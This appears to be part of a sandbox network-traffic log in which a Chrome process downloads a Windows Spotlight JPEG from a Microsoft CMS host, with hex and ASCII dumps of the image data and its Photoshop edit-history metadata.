f7 63 63 8f 9b db 9e b5 ec 7f 0b 7c 32 9e 22 f8 89 e2 1d 5e e2 f1 6c 74 bb 59 3e d7 73 7d 23 05 89 a4 03 70 c3 74 c9 eb 
5a 3e 20 fd 92 2c a4 b8 d3 25 d5 75 ad 37 
Data Ascii: w]JOGs^2[/6yWXZksyZTsWO<"~x^t^OtGTVMgECYt/ncO+.Em{~]tU_[hVwzW,fFpqh>6+NRw;miIcc|2"^ltY>s
}#ptZ> ,%u7

2022-05-26 11:46:49 UTC 5238 IN Data Raw: b9 2d 97 4d db f3 46 b8 f2 e3 c1 1f c3 b8 ff 00 e8 35 d7 78 cf 4a 9f 5e f0 ef 8b 34 bb db 15 bc d4 a4 b6 92 2b 
6b 95 51 fb c9 0e 00 fa 64 a7 35 c8 df 78 d9 34 1b eb 16 96 fa 06 b2 8d ad da 45 f2 c3 3b 32 bf 98 42 e4 1f 41 5e 98 ba c4 
5a e4 37 97 96 0c d6 cb 7c af 72 ab 22 fd d4 21 87 ca 7e b5 6e 72 f7 65 b1 69 c5 c7 4d cf 81 57 4f 8f c3 ed a9 d9 3c 0b 
2d e4 fe 5c 77 b3 cb f3 34 79 1b c2 82 dc 83 cf 3e e2 be 8c f0 bd f5 95 bd 9f 87 b4 59 f6 ea 72 d9 db 24 8b b9 7f d6 2b 46 
72 7d 70 0e d1 59 bf 1b fc 4d 6f a1 e8 3a 65 95 96 83 a6 df 5e 6a 12 fd a6 e6 ee e6 30 b2 ab 02 16 3e 78 2d 9f 9b 3e c2 
b3 6c 35 0d 53 c0 d0 e9 fe 3d 91 a3 b9 d5 1a 58 6d a0 82 0f f5 4a 8d c7 3f 4e 98 af 5a ad 47 89 a7 19 bd 1b db d7 63 96 
4d c2 4a c6 bf 8c b4 a8 f4 db e5 4d 1a f2 38 2e 
Data Ascii: -MF5xJ^4+kQd5x4E;2BA^Z7|r"!~nreiMWO<-\w4y>Yr$+Fr}pYMo:e^j0>x->l5S=XmJ?NZGcMJM8.

2022-05-26 11:46:49 UTC 5294 IN Data Raw: bc 3f e0 eb 4d 76 c7 cf d7 fc 35 1b 2c d6 d7 2b b7 ce 8f 38 42 dc 72 31 d3 de bc 6b c6 df 0f fc 1d a7 f8 ab c2 
b6 9a 4d f6 a5 a0 dd 6a 0b 24 4d 73 68 a7 6f da 4b 71 1b 7a 8c 7c a6 a6 8d 68 34 e1 d5 eb 7b 5f fe 08 ec 96 c7 82 a7 83 
6d b5 cb 38 ae 34 f6 68 bc 47 1c bb 64 d2 e4 ff 00 97 ae 71 b9 7f da f5 15 b9 e3 28 f4 e8 e6 b9 d3 cc 17 36 b2 a5 b7 ee 
2d 23 f9 b6 b8 ea 3f 9d 7b c7 c4 ad 5b c1 de 1e fd 9c e2 8a 2d 22 c7 53 f1 a6 99 76 96 0b ad da 6c 56 87 71 2c 72 47 cd 
9c 71 5f 39 f8 17 47 f1 07 c4 8f 14 59 dd e9 ec cb 71 6d 27 99 1d cb 2e ed a5 31 d7 d4 f3 5e bd 1a ce bc 7d b4 9d a3 1b 
ef fd 6d f8 9a 34 b4 2c 7c 17 f8 5f af f8 d3 c4 da 56 9e 74 a6 5d 36 f2 f4 c1 23 4e a5 3c 95 00 33 31 07 9e 14 f1 5d 9e b1 
e0 f4 d2 7c 55 aa 8f 0f 6d 67 f0 f6 ac 62 8e 49 1b 
Data Ascii: ?Mv5,+8Br1kMj$MshoKqz|h4{_m84hGdq(6-#?{[-"SvlVq,rGq_9GYqm'.1^}m4,|_Vt]6#N<31]|UmgbI

2022-05-26 11:46:49 UTC 5310 IN Data Raw: 7b 78 b2 3e 63 dd fd e3 bd 99 73 e9 54 eb c3 06 94 26 b7 e8 be 7a fe 06 30 8b b5 99 e4 d7 89 a5 4d 6f 04 f6 
13 ae a1 12 c9 ba 45 9f ef 46 83 ee 86 5e 98 35 d3 6b be 0d d5 2f f4 fd 0f 50 33 db 6a 11 32 a5 ed b2 da 7f cb 34 3c 3c 
6c 3d 88 e9 5a 7e 1d b1 f0 5c df 0b 6c 75 fb 0d 39 a2 f1 0f 86 63 09 aa 58 ff 00 cf e6 d3 83 bc 77 c3 e1 b7 7a 71 5c 5c 7e 
33 b8 b5 d2 db cb b6 8e c5 16 53 3b 48 b2 15 fb d9 f9 54 7a 1a e7 52 94 e4 fd 9a 7e eb b6 bf d7 cc 52 87 2b d1 dc c2 f1 
76 87 15 9e b5 3b c5 14 11 69 b3 fe f7 c8 65 1f bb 63 d4 7d 37 53 7c 3d 73 a1 fd aa 2d 2e 5b 96 8a 25 8c c9 f6 b5 6d bb 
5c 0e 2b 1a e3 5e bb be 9a e4 cb 04 6c b1 c6 7f 77 1f ce d1 a6 3d 7d 2b 91 b1 f1 3d 9a ea 13 bd dd b4 6b 14 90 3a c6 b1 
b1 dc af 8f 95 8d 7b 30 a1 3a 90 6a 4f 63 55 0f 77 95 
Data Ascii: {x>csT&z0MoEF^5k/P3j24<<l=Z~\lu9cXwzq\\~3S;HTzR~R+v;iec}7S|=s-.[%m\+^lw=}+=k:{0:jOcUw

2022-05-26 11:46:49 UTC 5334 IN Data Raw: 3c d9 17 76 37 34 99 db 82 4f bd 73 36 be 2d bb d2 7c 51 73 e1 4b 7b 68 16 cf 4e bd 4b bb 69 2d 98 2f 9d 19 
18 e7 6f 5c ee c8 f7 ab 9a e7 85 e4 f0 7d 9d f5 fd b2 c0 b6 f2 24 d2 4a ad 21 59 56 66 93 ee e3 fb c1 4e ea f3 fd 97 b3 93 
5b 37 b1 9b 97 56 47 e2 ef 1a 19 23 f1 09 f1 04 ac b6 ed 6d 1c 53 da 32 fc 91 b2 f5 0b f5 c7 6e b5 e3 77 5e 22 f1 87 8d 
35 25 8f c3 fa 44 f7 d0 48 db 7e c9 02 fc b2 46 07 46 1e 95 d9 69 fa 26 99 e2 ed 51 b4 ad 62 fa 79 6c 1a 58 37 49 cb 4b 
1b 12 36 85 1d 5a be 8e f8 5c ba 07 86 ff 00 68 4d 73 c3 f6 56 cb 6d 65 a9 e9 a9 1d a3 2c 7b 52 3d a3 8c 1f ef 1f 9b 3d fa 
57 ab 46 54 e8 be 56 ae ff 00 0e 86 a9 df 5e a7 c4 3e 39 b1 b0 d3 fc 2f 63 70 6c 60 b6 d5 b6 98 da c7 96 5e 49 39 e7 d1 
78 a8 fc 1a fa 8d ba d9 a5 94 5e 6f 9d 1e e5 ff 00 
Data Ascii: <v74Os6-|QsK{hNKi-/o\}$J!YVfN[7VG#mS2nw^"5%DH~FFi&QbylX7IK6Z\hMsVme,{R==WFTV^>9/cpl`^I9x^o

Timestamp
kBytes
transferred

Direction Data
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2022-05-26 11:46:49 UTC 5405 IN Data Raw: d0 c3 fd a6 6c 7c 15 ad 69 3f 6b d2 2c e0 d3 35 c8 a7 4b 27 68 f2 ab 27 90 4c 6f 80 38 3b be f6 6b b0 f8 15 f0 
b2 e3 c0 fe 36 f0 e6 9f ac 79 fa bf 85 7c 63 63 34 76 53 db 37 cd 1b aa 03 2a ed e7 f8 4f 3e d5 1f 88 7f 66 bd 57 c4 2d 16 
9d 6d 73 04 49 2a dc 6a 4d 24 ff 00 33 43 87 e2 2c f4 2e f9 15 d0 78 1f c4 ef 73 6f 63 65 ad 69 f7 cb 2e 86 a6 28 af b4 df 
bd 6a c0 7d ee 0f ca 0a 0e 48 ad 2a 62 39 70 ca 11 7c cb 5b f7 d6 d6 b7 a0 e3 28 fd a3 23 e2 f7 c3 9d 33 c3 3e 20 d4 35 
af 05 d9 b4 b7 9a 65 88 f3 6c 55 b7 3b 47 e7 15 c8 1d 55 87 19 ad 2f 85 b6 1a 77 c6 4d 07 50 1a 8c 4b 1d ed ce 9a 60 6f 
32 4d cf 0c 83 a3 48 3f 87 8a f3 bf 8b df 0e af 2f be 39 78 86 ef 4b d7 2e 6d b4 4d 5e 34 bd fb 4a b1 55 99 24 f9 88 5e 83 
00 e7 35 e8 1f 04 f4 9b 3f 85 7e 28 9e 2b 48 
Data Ascii: l|i?k,5K'h'Lo8;k6y|cc4vS7*O>fW-msI*jM$3C,.xsocei.(j}H*b9p|[(#3> 5elU;GU/wMPK`o2MH?/9xK.mM^4JU$^5?
~(+H

2022-05-26 11:46:49 UTC 5421 IN Data Raw: 17 cb 7b 1e 80 9e 15 f0 6f 83 fe 32 69 fa bc 97 3f 69 97 4f 80 de df 2b 67 77 da 0e d1 1e 7d b1 9e 3e 95 e7 1f 
14 6d a4 d0 74 3f 17 eb 92 cf 04 b7 5a 96 a4 97 36 96 32 36 e4 68 64 c9 11 13 ed bb 8a 96 c7 c0 fa cf c4 5f 15 5b 6a 1a 
54 fe 7f 87 fc 47 1b f9 b7 d2 31 dd 6e eb 00 41 1f ae 43 fc d5 8b e3 4f 84 ba be 8f f0 ff 00 4f d1 f5 3d 55 75 3d 52 06 1e 
74 70 65 9e 47 57 c2 9e 7b 62 b6 5a 72 f3 4a ca ff 00 33 6a 92 7e cf 95 2d 0f 33 b9 f8 a5 2f 83 f4 58 2f 3e 5b 35 b6 61 12 
c1 27 de 55 ef d7 ef 02 3b d5 9b 9d 6e 3f 8a 3a f7 85 f5 5f 09 ce cd 6e b6 46 da f6 d9 5b 6e d7 57 c8 38 f5 28 78 3f ec d7 
90 fc 52 b7 d5 2c 75 cb 99 35 35 56 5b 95 fd dc 7f c3 1e d6 da 54 7d 2a 8f c3 bd 7a 4f 0f 4c df 60 f3 22 59 63 11 c8 d0 37 
cc ad 9c a9 af 7a 38 38 7b 1f 6b 0f 89 fd 
Data Ascii: {o2i?iO+gw}>mt?Z626hd_[jTG1nACOO=Uu=RtpeGW{bZrJ3j~-3/X/>[5a'U;n?:_nF[nW8(x?R,u55V[T}*zOL
`"Yc7z88{k

2022-05-26 11:46:49 UTC 5437 IN Data Raw: ef 3d bf 34 11 b5 b5 dc f5 fb ff 00 8a 51 f8 33 c3 76 73 5e 41 3c f7 16 36 83 ec cd 07 ca ac 80 6d 05 bb 8e 31 
54 34 ff 00 13 da 6b 7a 0b f8 83 cd 68 2f 3f b4 92 e5 6d 9b ef 49 c2 12 07 fc 06 ba 8f 18 78 33 4f be f1 b7 9b e2 bd 2a e6 
e7 c2 fa 84 10 c9 15 ce 9e c7 ef 60 61 70 3f 84 e3 3f 4a e9 db e1 7f 85 f5 6d 36 f2 d3 40 55 82 2b 3b e9 2e e4 65 cb 33 32 
47 f2 29 cf 41 5e 2f 3d 08 c1 3b 3e 67 bf 6b 76 15 d7 2b 5d cf 9f be 32 78 2f 4a be f1 f4 b7 fa 5c 52 45 a6 ea b2 0b b9 6d 
9a 03 ba d5 4e 37 37 d3 24 9c 56 35 e7 80 d3 c1 96 f7 37 9a 7d f3 5c dd 47 01 f2 ae ed 9b 6a f3 dc 7e 15 53 e2 47 c4 0d 
77 51 f8 81 ad 5c 08 e4 f2 a4 61 1b 7d 9b 3b 55 02 01 db da bd b7 43 f0 1d c5 e7 c0 5d 0f c5 9a 56 9f e6 68 90 5d f9 52 
2d f4 fb 65 8e e1 9d 79 c1 fb d1 9c 6d ef 8c 
Data Ascii: =4Q3vs^A<6m1T4kzh/?mIx3O*`ap??Jm6@U+;.e32G)A^/=;>gkv+]2x/J\REmN77$V57}\Gj~SGwQ\a};UC]Vh]R-
eym

2022-05-26 11:46:49 UTC 5469 IN Data Raw: 2c fa 9d ef d9 ac f7 30 6d ab 01 74 79 31 e8 71 d6 bc 77 4e ac 54 15 09 39 6a c9 b4 9f c2 79 4c 3e 2c 9f 4f d5 
27 b5 3e 7d b2 cb 64 74 f9 da 36 f9 99 41 ea 7f 21 5e f9 f0 ef c0 da 47 c6 0d 1d ad 2d 6c fe cd 79 a5 7e ee f6 fa 3f 99 be 
ce 41 f2 cf e7 8a f9 9f 5e 78 f5 6f 1d 4a 96 4b ba ca 79 12 59 64 93 e5 dd 94 c9 e9 db 35 e9 9f 0d 7e 22 6b 7e 0f 92 7b 2f 
0d c1 3c 5a 94 eb 24 77 6d 1f cf 15 c4 2a 0f 96 08 f5 15 ae 2e 8b 74 d3 a7 a4 b7 ff 00 87 08 c5 5f df d8 ce f8 81 f0 ef 4c 
d3 7c 37 15 97 85 6d a4 d4 3c 43 3d f3 c7 73 26 ef 92 35 54 1b 87 e6 6b cb ad b4 dd 4f c2 da a7 d9 35 1b 39 e7 bc dd f3 
44 bf 33 48 a3 b5 7a cd cf 8f ac 3c 49 ad 41 7d a2 5b 36 98 d6 7e 5c 1a b4 1f 75 5a 45 dc 3c e5 fa af ca 6a 1b ef 12 69 9e 
30 f1 36 a1 e2 7b 38 99 5b 48 9f cd b6 8f 
Data Ascii: ,0mty1qwNT9jyL>,O'>}dt6A!^G-ly~?A^xoJKyYd5~"k~{/<Z$wm*.t_L|7m<C=s&5TkO59D3Hz<IA}[6~\uZE<
ji06{8[H

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

106 192.168.2.4 49872 80.67.82.235 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:46:49 UTC 2304 OUT GET /cms/api/am/imageFileData/RWR39G?ver=0455 HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: img-prod-cms-rt-microsoft-com.akamaized.net
Connection: Keep-Alive

2022-05-26 11:46:49 UTC 2305 IN HTTP/1.1 200 OK
Content-Type: image/jpeg
Access-Control-Allow-Origin: *
Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RWR39G?ver=0455
Last-Modified: Wed, 25 May 2022 19:37:24 GMT
X-Source-Length: 1586514
X-Datacenter: northeu
X-ActivityId: bc064be1-5bf0-4575-8584-edd84f81449c
Timing-Allow-Origin: *
X-Frame-Options: DENY
X-ResizerVersion: 1.0
Content-Length: 1586514
Cache-Control: public, max-age=373811
Expires: Mon, 30 May 2022 19:37:00 GMT
Date: Thu, 26 May 2022 11:46:49 GMT
Connection: close

2022-05-26 11:46:49 UTC 2306 IN Data Raw: ff d8 ff e1 0e 54 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 
00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 
00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 91 87 69 00 04 00 00 00 01 00 00 00 a8 00 00 00 d4 00 0e a6 00 
00 00 27 10 00 0e a6 00 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 31 2e 31 20 28 57 69 6e 64 6f 77 
73 29 00 32 30 32 31 3a 30 36 3a 32 34 20 30 39 3a 32 36 3a 30 37 00 00 00 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 
a0 02 00 04 00 00 00 01 00 00 04 38 a0 03 00 04 00 00 00 01 00 00 07 80 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 
01 00 06 00 00 01 1a 00 05 00 00 00 01 00 00 01 22 01 1b 00 05 00 
Data Ascii: TExifMM*bj(1r2i''Adobe Photoshop 21.1 (Windows)2021:06:24 09:26:078"
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2022-05-26 11:46:49 UTC 2321 IN Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
Data Ascii:                                                                                                                                                                         
                                                                                       

2022-05-26 11:46:49 UTC 2337 IN Data Raw: 6e 31 30 2d 55 70 67 72 61 64 65 5c 42 72 61 6e 64 41 70 70 72 6f 76 65 64 5c 43 72 6f 70 73 5c 57 69 6e 64 
6f 77 73 50 72 6f 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 34 31 30 32 37 32 35 37 5f 31 30 38 30 78 31 39 32 30 2e 70 
73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 38 2d 30 34 54 31 37 3a 34 33 3a 31 34 2d 30 37 3a 30 30 26 
23 78 39 3b 46 69 6c 65 20 57 69 6e 64 6f 77 73 50 72 6f 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 34 31 30 32 37 32 
35 37 5f 31 30 38 30 78 31 39 32 30 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 36 2d 30 38 2d 30 34 54 3
1 37 3a 34 33 3a 33 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 
67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 
Data Ascii: n10-Upgrade\BrandApproved\Crops\WindowsPro_GettyImages-641027257_1080x1920.psd saved&#xA;2016-
08-04T17:43:14-07:00&#x9;File WindowsPro_GettyImages-641027257_1080x1920.psd opened&#xA;2016-08-04T17:43
:32-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Lockscr

2022-05-26 11:46:49 UTC 2340 IN Data Raw: 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 50 72 65 74 74 79 50 
69 63 73 5c 51 34 2d 31 32 35 5f 42 61 74 63 68 32 5c 43 72 6f 70 73 5c 51 34 2d 31 32 35 2d 42 61 74 63 68 32 5f 54 65 
6e 65 72 69 66 65 4f 63 65 61 6e 5f 50 6c 61 69 6e 70 69 63 74 75 72 65 5f 70 33 30 30 6d 31 31 32 30 37 37 39 66 5f 31 
30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 38 2d 30 35 54 31 37 3a 35 33 
3a 31 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 
70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 
30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 
Data Ascii: \Users\v-lizagh\MS\Windows10\PrettyPics\Q4-125_Batch2\Crops\Q4-125-Batch2_TenerifeOcean_Plainpictu
re_p300m1120779f_1080x1920.jpg saved&#xA;2016-08-05T17:53:16-07:00&#x9;File C:\Users\v-lizagh\AppDat
a\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lo

2022-05-26 11:46:49 UTC 2372 IN Data Raw: 23 78 41 3b 32 30 31 36 2d 30 39 2d 32 33 54 31 34 3a 34 37 3a 33 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 
69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 48 61 6c 6c 6f 
77 65 65 6e 5c 48 61 6c 6c 6f 77 65 65 6e 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 33 31 39 38 32 36 30 36 5f 31 30 38 
30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 39 2d 32 33 54 31 34 3a 35 31 3a 35 
38 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 
61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 3
5 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 48 61 6c 6c 6f 
Data Ascii: #xA;2016-09-23T14:47:34-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Halloween\Halloween_GettyIma
ges-531982606_1080x1920.jpg saved&#xA;2016-09-23T14:51:58-07:00&#x9;File C:\Users\v-lizagh\AppData\R
oaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Hallo

2022-05-26 11:46:49 UTC 2422 IN Data Raw: 41 3b 32 30 31 36 2d 31 31 2d 30 32 54 31 36 3a 34 31 3a 32 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 
65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 42 69 6e 67 5c 53 
68 6f 70 70 69 6e 67 5c 5f 43 48 4f 53 45 4e 5c 42 69 6e 67 5f 48 6f 6c 69 64 61 79 53 68 6f 70 70 69 6e 67 5f 47 65 74 
74 79 49 6d 61 67 65 73 2d 36 32 30 39 39 39 35 35 39 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 
23 78 41 3b 32 30 31 36 2d 31 31 2d 30 32 54 31 36 3a 34 34 3a 32 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 
43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 42 69 6e 67 5c 53 68 6f 
70 70 69 6e 67 5c 5f 43 48 4f 53 45 4e 5c 42 69 6e 67 5f 48 6f 6c 69 64 
Data Ascii: A;2016-11-02T16:41:24-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Bing\Shopping\_CHOSEN\Bing_Hol
idayShopping_GettyImages-620999559_1080x1920.jpg saved&#xA;2016-11-02T16:44:21-07:00&#x9;File C:\Users\v-lizag
h\MS\Windows10\Bing\Shopping\_CHOSEN\Bing_Holid

2022-05-26 11:46:49 UTC 2463 IN Data Raw: 69 74 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 32 33 54 31 35 3a 32 37 3a 
33 31 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 
57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 4f 66 66 69 63 65 2d 42 61 74 63 68 32 5c 5f 43 48 4f 53 45 4e 2d 53 
6b 79 70 65 5c 43 72 6f 70 73 5c 4f 66 66 69 63 65 5f 53 6b 79 70 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 38 36 36 
37 38 39 30 31 5f 31 30 38 30 78 31 39 32 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 32 
33 54 31 35 3a 32 37 3a 35 36 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 
7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 
Data Ascii: it.psd opened&#xA;2016-11-23T15:27:31-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Office\Office-
Batch2\_CHOSEN-Skype\Crops\Office_Skype_GettyImages-186678901_1080x1920.psd saved&#xA;2016-11-23T15:
27:56-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Offic

2022-05-26 11:46:49 UTC 2495 IN Data Raw: 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 
69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 4e 41 53 43 41 52 5c 46 65 62 72 75 61 72 79 5c 
43 48 4f 53 45 4e 5c 4d 49 54 2d 4e 41 53 43 41 52 2d 46 65 62 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 34 33 37 36 
36 36 36 35 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 31 2d 33 30 
54 31 31 3a 31 30 3a 32 35 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 
61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 
70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 
Data Ascii: 8:00&#x9;File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\NASCAR\February\CHOSEN\MIT-NASCAR-
Feb_GettyImages-543766665_1080x1920.jpg saved&#xA;2017-01-30T11:10:25-08:00&#x9;File C:\Users\v-lizagh\Ap
pData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover

2022-05-26 11:46:49 UTC 2511 IN Data Raw: 61 6e 61 5c 53 70 6f 74 6c 69 67 68 74 5c 43 48 4f 53 45 4e 5c 43 6f 72 74 61 6e 61 2d 53 70 6f 74 6c 69 67 
68 74 5f 35 30 30 70 78 2d 31 33 38 36 32 33 31 30 35 5f 31 30 38 30 78 31 39 32 30 2e 70 73 64 20 73 61 76 65 64 26 
23 78 41 3b 32 30 31 37 2d 30 33 2d 30 36 54 31 33 3a 31 39 3a 31 38 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 
43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 43 6f 72 74 61 6e 61 5c 53 
70 6f 74 6c 69 67 68 74 5c 43 48 4f 53 45 4e 5c 43 6f 72 74 61 6e 61 2d 53 70 6f 74 6c 69 67 68 74 5f 35 30 30 70 78 2d 
31 33 38 36 32 33 31 30 35 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 
30 33 2d 30 36 54 31 33 3a 32 30 3a 33 31 2d 30 38 3a 30 30 26 23 
Data Ascii: ana\Spotlight\CHOSEN\Cortana-Spotlight_500px-138623105_1080x1920.psd saved&#xA;2017-03-0
6T13:19:18-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Cortana\Spotlight\CHOSEN\Cortana-Spotlight_500px-1386
23105_1080x1920.jpg saved&#xA;2017-03-06T13:20:31-08:00&#
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2022-05-26 11:46:49 UTC 2669 IN Data Raw: 67 5f 35 30 30 70 78 2d 39 39 37 35 35 31 35 39 5f 31 30 38 30 78 31 39 32 30 2e 70 73 64 20 73 61 76 65 64 
26 23 78 41 3b 32 30 31 37 2d 30 33 2d 32 37 54 31 32 3a 30 33 3a 35 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 
20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 57 69 6e 64 6f 77 73 5c 
53 65 72 76 69 63 69 6e 67 5c 43 48 4f 53 45 4e 5c 52 6f 75 6e 64 31 5c 57 69 6e 64 6f 77 73 53 65 72 76 69 63 69 6e 67 
5f 35 30 30 70 78 2d 39 39 37 35 35 31 35 39 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 
3b 32 30 31 37 2d 30 33 2d 32 37 54 31 32 3a 30 36 3a 33 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 
55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 
Data Ascii: g_500px-99755159_1080x1920.psd saved&#xA;2017-03-27T12:03:59-07:00&#x9;File C:\Users\v-lizagh\MS\W
indows10\Windows\Servicing\CHOSEN\Round1\WindowsServicing_500px-99755159_1080x1920.jpg saved&#xA;2017-
03-27T12:06:34-07:00&#x9;File C:\Users\v-lizagh\MS\Wind

2022-05-26 11:46:49 UTC 2701 IN Data Raw: 3b 32 30 31 37 2d 30 34 2d 32 36 54 31 31 3a 30 32 3a 30 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 
20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 57 69 6e 64 6f 77 73 49 
6e 73 69 64 65 72 5c 43 61 6d 70 61 69 67 6e 5c 43 48 4f 53 45 4e 5c 57 69 6e 64 6f 77 73 49 6e 73 69 64 65 72 5f 47 65 
74 74 79 49 6d 61 67 65 73 2d 31 38 38 30 33 34 38 38 36 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 
